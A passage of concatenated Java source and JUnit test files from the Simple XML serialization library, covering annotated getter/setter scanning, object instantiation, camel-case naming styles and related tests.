"<optional/>" +
"</MessageWrapper>";
Serializer serializer = new Persister();
Message example = serializer.read(Message.class, xml);
System.out.println("message: "+example.getOptional());
}
@Root
public static class Message implements Serializable{
@Element
private String necessary;
@Element(required=false)
private String optional;
public Message(@Element(name="necessary") String necessary){
this.necessary = necessary;
}
public String getNecessary() {
return necessary;
}
public void setNecessary(String necessary) {
this.necessary = necessary;
}
public String getOptional() {
return optional;
}
public void setOptional(String optional) {
this.optional = optional;
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ConstructorInjectionMatchTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
/**
* Created by IntelliJ IDEA.
* User: e03229
* Date: 10/11/10
* Time: 10:52
* To change this template use File | Settings | File Templates.
*/
public class ConstructorInjectionMatchTest extends TestCase {
@Root(name = "root")
private static class RootElement {
@Element(name = "one")
private final SimpleElementOne one;
public RootElement(@Element(name = "one") SimpleElementOne one) {
this.one = one;
}
}
private static class SimpleElementOne {
@Element(name = "two")
private final SimpleElementTwo two;
public SimpleElementOne(@Element(name = "two") SimpleElementTwo two) {
this.two = two;
}
public SimpleElementOne(SimpleElementTwo two, int length) {
this.two = two;
}
}
private static class SimpleElementTwo {
@Attribute(name = "value")
private final String value;
public SimpleElementTwo(@Attribute(name = "value") String value) {
this.value = value;
}
}
public void testConstructorInjection() throws Exception {
SimpleElementTwo two = new SimpleElementTwo("val");
SimpleElementOne one = new SimpleElementOne(two);
RootElement root = new RootElement(one);
Serializer serializer = new Persister();
StringWriter output = new StringWriter();
serializer.write(root, output);
System.out.println(output.toString());
serializer.read(RootElement.class, output.toString());
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/MethodScanner.java<|end_filename|>
/*
* MethodScanner.java April 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import static org.simpleframework.xml.DefaultType.PROPERTY;
import java.lang.annotation.Annotation;
import java.lang.reflect.Method;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.List;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.DefaultType;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementListUnion;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.ElementMapUnion;
import org.simpleframework.xml.ElementUnion;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.Transient;
import org.simpleframework.xml.Version;
/**
* The <code>MethodScanner</code> object is used to scan an object
* for matching get and set methods for an XML annotation. This will
* scan for annotated methods starting with the most specialized
* class up the class hierarchy. Thus, annotated methods can be
* overridden in a type specialization.
* <p>
* The annotated methods must be either a getter or setter method
* following the Java Beans naming conventions. This convention is
* such that a method must begin with "get", "set", or "is". A pair
* of set and get methods for an annotation must make use of the
* same type. For instance if the return type for the get method
* was <code>String</code> then the set method must have a single
* argument parameter that takes a <code>String</code> type.
* <p>
* For a method to be considered there must be both the get and set
* methods. If either method is missing then the scanner fails with
* an exception. Also, if an annotation marks a method which does
* not follow Java Bean naming conventions an exception is thrown.
*
* @author <NAME>
*/
class MethodScanner extends ContactList {
/**
* This is a factory used for creating property method parts.
*/
private final MethodPartFactory factory;
/**
* This object contains various support functions for the class.
*/
private final Support support;
/**
* This is used to collect all the set methods from the object.
*/
private final PartMap write;
/**
* This is used to collect all the get methods from the object.
*/
private final PartMap read;
/**
* This contains the details for the class that is being scanned.
*/
private final Detail detail;
/**
* Constructor for the <code>MethodScanner</code> object. This is
* used to create an object that will scan the specified class
* such that all bean property methods can be paired under the
* XML annotation specified within the class.
*
* @param detail this contains the details for the class scanned
* @param support this contains various support functions
*/
public MethodScanner(Detail detail, Support support) throws Exception {
this.factory = new MethodPartFactory(detail, support);
this.write = new PartMap();
this.read = new PartMap();
this.support = support;
this.detail = detail;
this.scan(detail);
}
/**
* This method is used to scan the class hierarchy for each class
* in order to extract methods that contain XML annotations. If
* a method is annotated it is converted to a contact so that
* it can be used during serialization and deserialization.
*
* @param detail this contains the details for the class scanned
*/
private void scan(Detail detail) throws Exception {
DefaultType override = detail.getOverride();
DefaultType access = detail.getAccess();
Class base = detail.getSuper();
if(base != null) {
extend(base, override);
}
extract(detail, access);
extract(detail);
build();
validate();
}
/**
* This method is used to extend the provided class. Extending a
* class in this way basically means that the fields that have
* been scanned in the specific class will be added to this. Doing
* this improves the performance of classes within a hierarchy.
*
* @param base the class to inherit scanned fields from
* @param access this is the access type used for the super type
*/
private void extend(Class base, DefaultType access) throws Exception {
ContactList list = support.getMethods(base, access);
for(Contact contact : list) {
process((MethodContact)contact);
}
}
/**
* This is used to scan the declared methods within the specified
* class. Each method will be checked to determine if it contains
* an XML element and can be used as a <code>Contact</code> for
* an entity within the object.
*
* @param detail this is one of the super classes for the object
*/
private void extract(Detail detail) throws Exception {
List<MethodDetail> methods = detail.getMethods();
for(MethodDetail entry: methods) {
Annotation[] list = entry.getAnnotations();
Method method = entry.getMethod();
for(Annotation label : list) {
scan(method, label, list);
}
}
}
/**
* This is used to scan all the methods of the class in order to
* determine if it should have a default annotation. If the method
* should have a default XML annotation then it is added to the
* list of contacts to be used to form the class schema.
*
* @param detail this is the detail to have its methods scanned
* @param access this is the default access type for the class
*/
private void extract(Detail detail, DefaultType access) throws Exception {
List<MethodDetail> methods = detail.getMethods();
if(access == PROPERTY) {
for(MethodDetail entry : methods) {
Annotation[] list = entry.getAnnotations();
Method method = entry.getMethod();
Class value = factory.getType(method);
if(value != null) {
process(method, list);
}
}
}
}
/**
* This reflectively checks the annotation to determine the type
* of annotation it represents. If it represents an XML schema
* annotation it is used to create a <code>Contact</code> which
* can be used to represent the method within the source object.
*
* @param method the method that the annotation comes from
* @param label the annotation used to model the XML schema
* @param list this is the list of annotations on the method
*/
private void scan(Method method, Annotation label, Annotation[] list) throws Exception {
if(label instanceof Attribute) {
process(method, label, list);
}
if(label instanceof ElementUnion) {
process(method, label, list);
}
if(label instanceof ElementListUnion) {
process(method, label, list);
}
if(label instanceof ElementMapUnion) {
process(method, label, list);
}
if(label instanceof ElementList) {
process(method, label, list);
}
if(label instanceof ElementArray) {
process(method, label, list);
}
if(label instanceof ElementMap) {
process(method, label, list);
}
if(label instanceof Element) {
process(method, label, list);
}
if(label instanceof Version) {
process(method, label, list);
}
if(label instanceof Text) {
process(method, label, list);
}
if(label instanceof Transient) {
remove(method, label, list);
}
}
/**
* This is used to classify the specified method into either a get
* or set method. If the method is neither then an exception is
* thrown to indicate that the XML annotations can only be used
* with methods following the Java Bean naming conventions. Once
* the method is classified is is added to either the read or
* write map so that it can be paired after scanning is complete.
*
* @param method this is the method that is to be classified
* @param label this is the annotation applied to the method
* @param list this is the list of annotations on the method
*/
private void process(Method method, Annotation label, Annotation[] list) throws Exception {
MethodPart part = factory.getInstance(method, label, list);
MethodType type = part.getMethodType();
if(type == MethodType.GET) {
process(part, read);
}
if(type == MethodType.IS) {
process(part, read);
}
if(type == MethodType.SET) {
process(part, write);
}
}
/**
* This is used to classify the specified method into either a get
* or set method. If the method is neither then an exception is
* thrown to indicate that the XML annotations can only be used
* with methods following the Java Bean naming conventions. Once
* the method is classified is is added to either the read or
* write map so that it can be paired after scanning is complete.
*
* @param method this is the method that is to be classified
* @param list this is the list of annotations on the method
*/
private void process(Method method, Annotation[] list) throws Exception {
MethodPart part = factory.getInstance(method, list);
MethodType type = part.getMethodType();
if(type == MethodType.GET) {
process(part, read);
}
if(type == MethodType.IS) {
process(part, read);
}
if(type == MethodType.SET) {
process(part, write);
}
}
/**
* This is used to determine whether the specified method can be
* inserted into the given <code>PartMap</code>. This ensures
* that only the most specialized method is considered, which
* enables annotated methods to be overridden in subclasses.
*
* @param method this is the method part that is to be inserted
* @param map this is the part map used to contain the method
*/
private void process(MethodPart method, PartMap map) {
String name = method.getName();
if(name != null) {
map.put(name, method);
}
}
/**
* This is used to process a method from a super class. Processing
* the inherited method involves extracting out the individual
* parts of the method an initializing the internal state of this
* scanner. If method is overridden it overwrites the parts.
*
* @param contact this is a method inherited from a super class
*/
private void process(MethodContact contact) {
MethodPart get = contact.getRead();
MethodPart set = contact.getWrite();
if(set != null) {
insert(set, write);
}
insert(get, read);
}
/**
* This is used to insert a contact to this contact list. Here if
* a <code>Text</code> annotation is declared on a method that
* already has an annotation then the other annotation is given
* the priority, this is to so text can be processes separately.
*
* @param method this is the part that is to be inserted
* @param map this is the map that the part is to be inserted in
*/
private void insert(MethodPart method, PartMap map) {
String name = method.getName();
MethodPart existing = map.remove(name);
if(existing != null) {
if(isText(method)) {
method = existing;
}
}
map.put(name, method);
}
/**
* This is used to determine if the <code>Text</code> annotation
* has been declared on the method. If this annotation is used
* then this will return true, otherwise this returns false.
*
* @param contact the contact to check for the text annotation
*
* @return true if the text annotation was declared on the method
*/
private boolean isText(MethodPart method) {
Annotation label = method.getAnnotation();
if(label instanceof Text) {
return true;
}
return false;
}
/**
* This method is used to remove a particular method from the list
* of contacts. If the <code>Transient</code> annotation is used
* by any method then this method must be removed from the schema.
* In particular it is important to remove methods if there are
* defaults applied to the class.
*
* @param method this is the method that is to be removed
* @param label this is the label associated with the method
* @param list this is the list of annotations on the method
*/
private void remove(Method method, Annotation label, Annotation[] list) throws Exception {
MethodPart part = factory.getInstance(method, label, list);
MethodType type = part.getMethodType();
if(type == MethodType.GET) {
remove(part, read);
}
if(type == MethodType.IS) {
remove(part, read);
}
if(type == MethodType.SET) {
remove(part, write);
}
}
/**
* This is used to remove the method part from the specified map.
* Removal is performed using the name of the method part. If it
* has been scanned and added to the map then it will be removed
* and will not form part of the class schema.
*
* @param part this is the part to be removed from the map
* @param map this is the map to removed the method part from
*/
private void remove(MethodPart part, PartMap map) throws Exception {
String name = part.getName();
if(name != null) {
map.remove(name);
}
}
/**
* This method is used to pair the get methods with a matching set
* method. This pairs methods using the Java Bean method name, the
* names must match exactly, meaning that the case and value of
* the strings must be identical. Also in order for this to succeed
* the types for the methods and the annotation must also match.
*/
private void build() throws Exception {
for(String name : read) {
MethodPart part = read.get(name);
if(part != null) {
build(part, name);
}
}
}
/**
* This method is used to pair the get methods with a matching set
* method. This pairs methods using the Java Bean method name, the
* names must match exactly, meaning that the case and value of
* the strings must be identical. Also in order for this to succeed
* the types for the methods and the annotation must also match.
*
* @param read this is a get method that has been extracted
* @param name this is the Java Bean methods name to be matched
*/
private void build(MethodPart read, String name) throws Exception {
MethodPart match = write.take(name);
if(match != null) {
build(read, match);
} else {
build(read);
}
}
/**
* This method is used to create a read only contact. A read only
* contact object is used when there is constructor injection used
* by the class schema. So, read only methods can be used in a
* fully serializable and deserializable object.
*
* @param read this is the part to add as a read only contact
*/
private void build(MethodPart read) throws Exception {
add(new MethodContact(read));
}
/**
* This method is used to pair the get methods with a matching set
* method. This pairs methods using the Java Bean method name, the
* names must match exactly, meaning that the case and value of
* the strings must be identical. Also in order for this to succeed
* the types for the methods and the annotation must also match.
*
* @param read this is a get method that has been extracted
* @param write this is the write method to compare details with
*/
private void build(MethodPart read, MethodPart write) throws Exception {
Annotation label = read.getAnnotation();
String name = read.getName();
if(!write.getAnnotation().equals(label)) {
throw new MethodException("Annotations do not match for '%s' in %s", name, detail);
}
Class type = read.getType();
if(type != write.getType()) {
throw new MethodException("Method types do not match for %s in %s", name, type);
}
add(new MethodContact(read, write));
}
/**
* This is used to validate the object once all the get methods
* have been matched with a set method. This ensures that there
* is not a set method within the object that does not have a
* match, therefore violating the contract of a property.
*/
private void validate() throws Exception {
for(String name : write) {
MethodPart part = write.get(name);
if(part != null) {
validate(part, name);
}
}
}
/**
* This is used to validate the object once all the get methods
* have been matched with a set method. This ensures that there
* is not a set method within the object that does not have a
* match, therefore violating the contract of a property.
*
* @param write this is a get method that has been extracted
* @param name this is the Java Bean methods name to be matched
*/
private void validate(MethodPart write, String name) throws Exception {
MethodPart match = read.take(name);
Method method = write.getMethod();
if(match == null) {
throw new MethodException("No matching get method for %s in %s", method, detail);
}
}
/**
* The <code>PartMap</code> is used to contain method parts using
* the Java Bean method name for the part. This ensures that the
* scanned and extracted methods can be acquired using a common
* name, which should be the parsed Java Bean method name.
*
* @see org.simpleframework.xml.core.MethodPart
*/
private static class PartMap extends LinkedHashMap<String, MethodPart> implements Iterable<String>{
/**
* This returns an iterator for the Java Bean method names for
* the <code>MethodPart</code> objects that are stored in the
* map. This allows names to be iterated easily in a for loop.
*
* @return this returns an iterator for the method name keys
*/
public Iterator<String> iterator() {
return keySet().iterator();
}
/**
* This is used to acquire the method part for the specified
* method name. This will remove the method part from this map
* so that it can be checked later to ensure what remains.
*
* @param name this is the method name to get the method with
*
* @return this returns the method part for the given key
*/
public MethodPart take(String name) {
return remove(name);
}
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/ObjectInstance.java<|end_filename|>
/*
* ObjectInstance.java April 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import org.simpleframework.xml.strategy.Value;
/**
* The <code>ObjectInstance</code> is used to instantiate an object
* from the criteria provided in the given <code>Value</code>. If
* the value contains a reference then the reference is provided
* from this type. For performance the <code>Context</code> object
* is used to instantiate the object as it contains a reflection
* cache of constructors.
*
* @author <NAME>
*/
class ObjectInstance implements Instance {
/**
* This is the context that is used to create the instance.
*/
private final Context context;
/**
* This is the value object that will be wrapped by this.
*/
private final Value value;
/**
* This is the new class that is used for the instantiation.
*/
private final Class type;
/**
* Constructor for the <code>ObjectInstance</code> object. This
* is used to create an instance of the type described by the
* value object. If the value object contains a reference then
* this will simply provide that reference.
*
* @param context this is used to instantiate the object
* @param value this is the value describing the instance
*/
public ObjectInstance(Context context, Value value) {
this.type = value.getType();
this.context = context;
this.value = value;
}
/**
* This method is used to acquire an instance of the type that
* is defined by this object. If for some reason the type can
* not be instantiated an exception is thrown from this.
*
* @return an instance of the type this object represents
*/
public Object getInstance() throws Exception {
if(value.isReference()) {
return value.getValue();
}
Object object = getInstance(type);
if(value != null) {
value.setValue(object);
}
return object;
}
/**
* This method is used to acquire an instance of the type that
* is defined by this object. If for some reason the type can
* not be instantiated an exception is thrown from this.
*
* @param type this is the type that is to be instantiated
*
* @return an instance of the type this object represents
*/
public Object getInstance(Class type) throws Exception {
Instance value = context.getInstance(type);
Object object = value.getInstance();
return object;
}
/**
* This method is used acquire the value from the type and if
* possible replace the value for the type. If the value can
* not be replaced then an exception should be thrown. This
* is used to allow primitives to be inserted into a graph.
*
* @param object this is the object to insert as the value
*
* @return an instance of the type this object represents
*/
public Object setInstance(Object object) {
if(value != null) {
value.setValue(object);
}
return object;
}
/**
* This is used to determine if the type is a reference type.
* A reference type is a type that does not require any XML
* deserialization based on its annotations. Types that are
* references could be substitutes objects are existing ones.
*
* @return this returns true if the object is a reference
*/
public boolean isReference() {
return value.isReference();
}
/**
* This is the type of the object instance that will be created
* by the <code>getInstance</code> method. This allows the
* deserialization process to perform checks against the field.
*
* @return the type of the object that will be instantiated
*/
public Class getType() {
return type;
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/ContactMap.java<|end_filename|>
/*
* ContactMap.java January 2010
*
* Copyright (C) 2010, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.util.Iterator;
import java.util.LinkedHashMap;
/**
* The <code>ContactMap</code> object is used to keep track of the
* contacts that have been processed. Keeping track of the contacts
* that have been processed ensures that no two contacts are used
* twice. This ensures a consistent XML class schema.
*
* @author <NAME>
*/
class ContactMap extends LinkedHashMap<Object, Contact> implements Iterable<Contact> {
/**
* This is used to iterate over the <code>Contact</code> objects
* in a for each loop. Iterating over the contacts allows them
* to be easily added to a list of unique contacts.
*
* @return this is used to return the contacts registered
*/
public Iterator<Contact> iterator(){
return values().iterator();
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/stream/CamelCaseStyle.java<|end_filename|>
/*
* CamelCaseStyle.java July 2008
*
* Copyright (C) 2008, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.stream;
/**
* The <code>CamelCaseStyle</code> is used to represent an XML style
* that can be applied to a serialized object. A style can be used to
* modify the element and attribute names for the generated document.
* This styles can be used to generate camel case XML.
* <pre>
*
* <ExampleElement>
* <ChildElement exampleAttribute='example'>
* <InnerElement>example</InnerElement>
* </ChildElement>
* </ExampleElement>
*
* </pre>
* Above the camel case XML elements and attributes can be generated
* from a style implementation. Styles enable the same objects to be
* serialized in different ways, generating different styles of XML
* without having to modify the class schema for that object.
*
* @author <NAME>
*/
public class CamelCaseStyle implements Style {
/**
* This is used to perform the actual building of tokens.
*/
private final Builder builder;
/**
* This is the strategy used to generate the style tokens.
*/
private final Style style;
/**
* Constructor for the <code>CamelCaseStyle</code> object. This
* is used to create a style that will create camel case XML
* attributes and elements allowing a consistent format for
* generated XML. By default the elements have an upper case
* initial character and a lower case attribute.
*/
public CamelCaseStyle() {
this(true, false);
}
/**
* Constructor for the <code>CamelCaseStyle</code> object. This
* is used to create a style that will create camel case XML
* attributes and elements allowing a consistent format for
* generated XML. By default the attributes have a lower case
* initial character and an configurable element.
*
* @param element if true the element will start as upper case
*/
public CamelCaseStyle(boolean element) {
this(element, false);
}
/**
* Constructor for the <code>CamelCaseStyle</code> object. This
* is used to create a style that will create camel case XML
* attributes and elements allowing a consistent format for
* generated XML. Both the attribute an elements are configurable.
*
* @param element if true the element will start as upper case
* @param attribute if true the attribute starts as upper case
*/
public CamelCaseStyle(boolean element, boolean attribute) {
this.style = new CamelCaseBuilder(element, attribute);
this.builder = new Builder(style);
}
/**
* This is used to generate the XML attribute representation of
* the specified name. Attribute names should ensure to keep the
* uniqueness of the name such that two different names will
* be styled in to two different strings.
*
* @param name this is the attribute name that is to be styled
*
* @return this returns the styled name of the XML attribute
*/
public String getAttribute(String name) {
return builder.getAttribute(name);
}
/**
* This is used to set the attribute values within this builder.
* Overriding the attribute values ensures that the default
* algorithm does not need to determine each of the values. It
* allows special behaviour that the user may require for XML.
*
* @param name the name of the XML attribute to be overridden
* @param value the value that is to be used for that attribute
*/
public void setAttribute(String name, String value) {
builder.setAttribute(name, value);
}
/**
* This is used to generate the XML element representation of
* the specified name. Element names should ensure to keep the
* uniqueness of the name such that two different names will
* be styled in to two different strings.
*
* @param name this is the element name that is to be styled
*
* @return this returns the styled name of the XML element
*/
public String getElement(String name) {
return builder.getElement(name);
}
/**
* This is used to set the element values within this builder.
* Overriding the element values ensures that the default
* algorithm does not need to determine each of the values. It
* allows special behaviour that the user may require for XML.
*
* @param name the name of the XML element to be overridden
* @param value the value that is to be used for that element
*/
public void setElement(String name, String value) {
builder.setElement(name, value);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/SessionManagerTest.java<|end_filename|>
package org.simpleframework.xml.core;
import junit.framework.TestCase;
public class SessionManagerTest extends TestCase {
public void testManager() throws Exception{
SessionManager manager = new SessionManager();
Session session1 = manager.open(true);
Session session2 = manager.open(false);
assertEquals(session1.isStrict(), session2.isStrict());
assertEquals(session1.isEmpty(), session2.isEmpty());
session1.put("a", "A");
session1.put("b", "B");
assertEquals(session2.get("a"), "A");
assertEquals(session2.get("b"), "B");
assertEquals(session1, session2);
Session session3 = manager.open();
assertEquals(session3.get("a"), "A");
assertEquals(session3.get("b"), "B");
assertEquals(session1, session3);
manager.close();
manager.close();
Session session4 = manager.open();
assertEquals(session1.isStrict(), session4.isStrict());
assertEquals(session1.isEmpty(), session4.isEmpty());
assertEquals(session4.get("a"), "A");
assertEquals(session4.get("b"), "B");
assertEquals(session1, session4);
manager.close();
manager.close();
Session session5 = manager.open(false);
assertTrue(session5.isEmpty());
assertTrue(session1 != session5);
assertTrue(!session1.equals(session5));
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/strategy/Value.java<|end_filename|>
/*
* Value.java January 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.strategy;
/**
* The <code>Value</code> object describes a type that is represented
* by an XML element. This enables a <code>Strategy</code> to define
* not only the type an element represents, but also defines if that
* type needs to be created. This allows arrays as well as standard
* object types to be described. When instantiated the instance should
* be set on the value object for use by the strategy to detect cycles.
*
* @author <NAME>
*
* @see org.simpleframework.xml.strategy.Strategy
*/
public interface Value {
/**
* This method is used to acquire an instance of the type that
* is defined by this object. If the value has not been set
* then this method will return null if this is not a reference.
*
* @return an instance of the type this object represents
*/
Object getValue();
/**
* This method is used set the value within this object. Once
* this is set then the <code>getValue</code> method will return
* the object that has been provided for consistency.
*
* @param value this is the value to insert as the type
*/
void setValue(Object value);
/**
* This is the type of the object instance this represents. The
* type returned by this is used to instantiate an object which
* will be set on this value and the internal graph maintained.
*
* @return the type of the object that must be instantiated
*/
Class getType();
/**
* This returns the length of the array that is to be allocated.
* If this value does not represent an array then this should
* return zero to indicate that it is not an array object.
*
* @return this returns the number of elements for the array
*/
int getLength();
/**
* This will return true if the object represents a reference.
* A reference will provide a valid instance when this objects
* getter is invoked. A valid instance can be a null.
*
* @return this returns true if this represents a reference
*/
boolean isReference();
}
<|start_filename|>src/main/java/org/simpleframework/xml/transform/TransformException.java<|end_filename|>
/*
* TransformException.java May 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.transform;
import org.simpleframework.xml.core.PersistenceException;
/**
* The <code>TransformException</code> is thrown if a problem occurs
* during the transformation of an object. This can be thrown either
* because a transform could not be found for a specific type or
* because the format of the text value had an invalid structure.
*
* @author <NAME>
*/
public class TransformException extends PersistenceException {
/**
* Constructor for the <code>TransformException</code> object.
* This constructor takes a format string an a variable number of
* object arguments, which can be inserted into the format string.
*
* @param text a format string used to present the error message
* @param list a list of arguments to insert into the string
*/
public TransformException(String text, Object... list) {
super(String.format(text, list));
}
/**
* Constructor for the <code>TransformException</code> object.
* This constructor takes a format string an a variable number of
* object arguments, which can be inserted into the format string.
*
* @param cause the source exception this is used to represent
* @param text a format string used to present the error message
* @param list a list of arguments to insert into the stri
*/
public TransformException(Throwable cause, String text, Object... list) {
super(String.format(text, list), cause);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/UnionElementListInConstructorTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.List;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementListUnion;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.NamespaceList;
import org.simpleframework.xml.Path;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class UnionElementListInConstructorTest extends ValidationTestCase {
private static final String SOURCE =
"<unionExample xmlns:x='http://x.com/x' xmlns:y='http://y.com/y'>\n" +
" <x:path>\n" +
" <a/>\n" +
" <a/>\n" +
" <b/>\n" +
" <a/>\n" +
" <c/>\n" +
" </x:path>\n" +
" <y:path>\n" +
" <a/>\n" +
" <a/>\n" +
" <b/>\n" +
" <a/>\n" +
" <c/>\n" +
" </y:path>\n" +
"</unionExample>";
@Root
@NamespaceList({
@Namespace(prefix="x", reference="http://x.com/x"),
@Namespace(prefix="y", reference="http://y.com/y")
})
public static class InlineListUnion {
@Path("x:path[1]")
@ElementListUnion({
@ElementList(entry="a", type=A.class, inline=true),
@ElementList(entry="b", type=B.class, inline=true),
@ElementList(entry="c", type=C.class, inline=true)
})
private final List<Entry> one;
@Path("y:path[2]")
@ElementListUnion({
@ElementList(entry="a", type=A.class, inline=true),
@ElementList(entry="b", type=B.class, inline=true),
@ElementList(entry="c", type=C.class, inline=true)
})
private final List<Entry> two;
public InlineListUnion(
@Path("x:path[1]") @ElementList(name="a") List<Entry> one,
@Path("y:path[2]") @ElementList(name="a") List<Entry> two)
{
this.one = one;
this.two = two;
}
}
private static interface Entry {
public String getType();
}
@Root
public static class A implements Entry {
public String getType() {
return "A";
}
}
@Root
public static class B implements Entry {
public String getType() {
return "B";
}
}
@Root
public static class C implements Entry {
public String getType() {
return "C";
}
}
public void testListUnion() throws Exception {
Persister persister = new Persister();
InlineListUnion union = persister.read(InlineListUnion.class, SOURCE);
assertEquals(union.one.get(0).getClass(), A.class);
assertEquals(union.one.get(1).getClass(), A.class);
assertEquals(union.one.get(2).getClass(), B.class);
assertEquals(union.one.get(3).getClass(), A.class);
assertEquals(union.one.get(4).getClass(), C.class);
assertEquals(union.two.get(0).getClass(), A.class);
assertEquals(union.two.get(1).getClass(), A.class);
assertEquals(union.two.get(2).getClass(), B.class);
assertEquals(union.two.get(3).getClass(), A.class);
assertEquals(union.two.get(4).getClass(), C.class);
validate(persister, union);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/transform/URLTransformTest.java<|end_filename|>
package org.simpleframework.xml.transform;
import java.net.URL;
import org.simpleframework.xml.transform.URLTransform;
import junit.framework.TestCase;
public class URLTransformTest extends TestCase {
public void testURL() throws Exception {
URL file = new URL("http://www.google.com/");
URLTransform format = new URLTransform();
String value = format.write(file);
URL copy = format.read(value);
assertEquals(file, copy);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/stream/Attribute.java<|end_filename|>
/*
* Attribute.java January 2010
*
* Copyright (C) 2010, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.stream;
/**
* The <code>Attribute</code> interface represents an attribute that
* is associated with an event node. An attribute is required to
* provide the name and value for the attribute, and optionally the
* namespace reference and prefix. For debugging purposes the source
* object from the internal XML provider can be returned also.
*
* @author <NAME>
*
* @see org.simpleframework.xml.stream.EventNode
*/
interface Attribute {
/**
* This provides the name of the attribute. This should be the
* name of the XML attribute without any namespace prefix. If
* the name begins with "xml" then this attribute is reserved.
* according to the namespaces for XML 1.0 specification.
*
* @return this returns the name of this attribute object
*/
String getName();
/**
* This returns the value of the event. Typically this will be
* the text value that the attribute contains. If the attribute
* does not contain a value then this returns null.
*
* @return this returns the value represented by this attribute
*/
String getValue();
/**
* This is used to acquire the namespace reference that this
* attribute is in. A namespace is normally associated with an
* attribute if that attribute is prefixed with a known token.
* If there is no prefix then this will return null.
*
* @return this provides the associated namespace reference
*/
String getReference();
/**
* This is used to acquire the namespace prefix associated with
* this attribute. A prefix is used to qualify the attribute
* within a namespace. So, if this has a prefix then it should
* have a reference associated with it.
*
* @return this returns the namespace prefix for the attribute
*/
String getPrefix();
/**
* This is used to return the source of the attribute. Depending
* on which provider was selected to parse the XML document an
* object for the internal parsers representation of this will
* be returned. This is useful for debugging purposes.
*
* @return this will return the source object for this event
*/
Object getSource();
/**
* This returns true if the attribute is reserved. An attribute
* is considered reserved if it begins with "xml" according to
* the namespaces in XML 1.0 specification. Such attributes are
* used for namespaces and other such details.
*
* @return this returns true if the attribute is reserved
*/
boolean isReserved();
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/PrimitiveArray.java<|end_filename|>
/*
* PrimitiveArray.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
